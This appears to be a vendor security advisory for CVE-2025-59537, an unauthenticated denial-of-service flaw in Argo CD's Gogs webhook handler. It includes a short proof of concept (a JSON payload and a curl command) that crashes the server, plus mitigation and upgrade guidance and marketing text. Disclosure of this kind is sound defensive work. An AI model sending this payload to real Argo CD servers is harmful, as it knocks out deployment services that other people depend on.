CVE-2025-59537

CVE-2025-59537 is a high-severity improper input validation vulnerability in github.com/argoproj/argo-cd (go), affecting versions >= 1.2.0, <= 1.8.7. It is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19.

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}
curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28

Mitigation

If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.gogs.secret: <your base64-encoded secret here>

For more information

Credit

Sangjun Song (s0ngsari) at Theori (theori.io)

Impact

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2025-59537 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19); upgrading removes the vulnerable code path.

Affected versions

github.com/argoproj/argo-cd (>= 1.2.0, <= 1.8.7) github.com/argoproj/argo-cd/v2 (>= 2.0.0-rc1, <= 2.14.19) github.com/argoproj/argo-cd/v3 (= 3.2.0-rc1) github.com/argoproj/argo-cd/v3 (>= 3.1.0-rc1, <= 3.1.7) github.com/argoproj/argo-cd/v3 (>= 3.0.0-rc1, <= 3.0.18)

Security releases

github.com/argoproj/argo-cd/v2 → 2.14.20 (go) github.com/argoproj/argo-cd/v3 → 3.2.0-rc2 (go) github.com/argoproj/argo-cd/v3 → 3.1.8 (go) github.com/argoproj/argo-cd/v3 → 3.0.19 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade the following packages to resolve this vulnerability:

github.com/argoproj/argo-cd/v2 to 2.14.20 or later; github.com/argoproj/argo-cd/v3 to 3.2.0-rc2 or later; github.com/argoproj/argo-cd/v3 to 3.1.8 or later; github.com/argoproj/argo-cd/v3 to 3.0.19 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-59537? CVE-2025-59537 is a high-severity improper input validation vulnerability in github.com/argoproj/argo-cd (go), affecting versions >= 1.2.0, <= 1.8.7. It is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. How severe is CVE-2025-59537? CVE-2025-59537 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2025-59537?
    • github.com/argoproj/argo-cd (go) (versions >= 1.2.0, <= 1.8.7)
    • github.com/argoproj/argo-cd/v2 (go) (versions >= 2.0.0-rc1, <= 2.14.19)
    • github.com/argoproj/argo-cd/v3 (go) (versions = 3.2.0-rc1)
  4. Is there a fix for CVE-2025-59537? Yes. CVE-2025-59537 is fixed in 2.14.20, 3.2.0-rc2, 3.1.8, 3.0.19. Upgrade to this version or later.
  5. Is CVE-2025-59537 exploitable, and should I be worried? Whether CVE-2025-59537 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-59537 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-59537?
    • Upgrade github.com/argoproj/argo-cd/v2 to 2.14.20 or later
    • Upgrade github.com/argoproj/argo-cd/v3 to 3.2.0-rc2 or later
    • Upgrade github.com/argoproj/argo-cd/v3 to 3.1.8 or later
    • Upgrade github.com/argoproj/argo-cd/v3 to 3.0.19 or later

Other vulnerabilities in github.com/argoproj/argo-cd

CVE-2026-45738CVE-2025-59531CVE-2025-47933CVE-2025-23216CVE-2024-40634

Stop the waste.
Protect your environment with Kodem.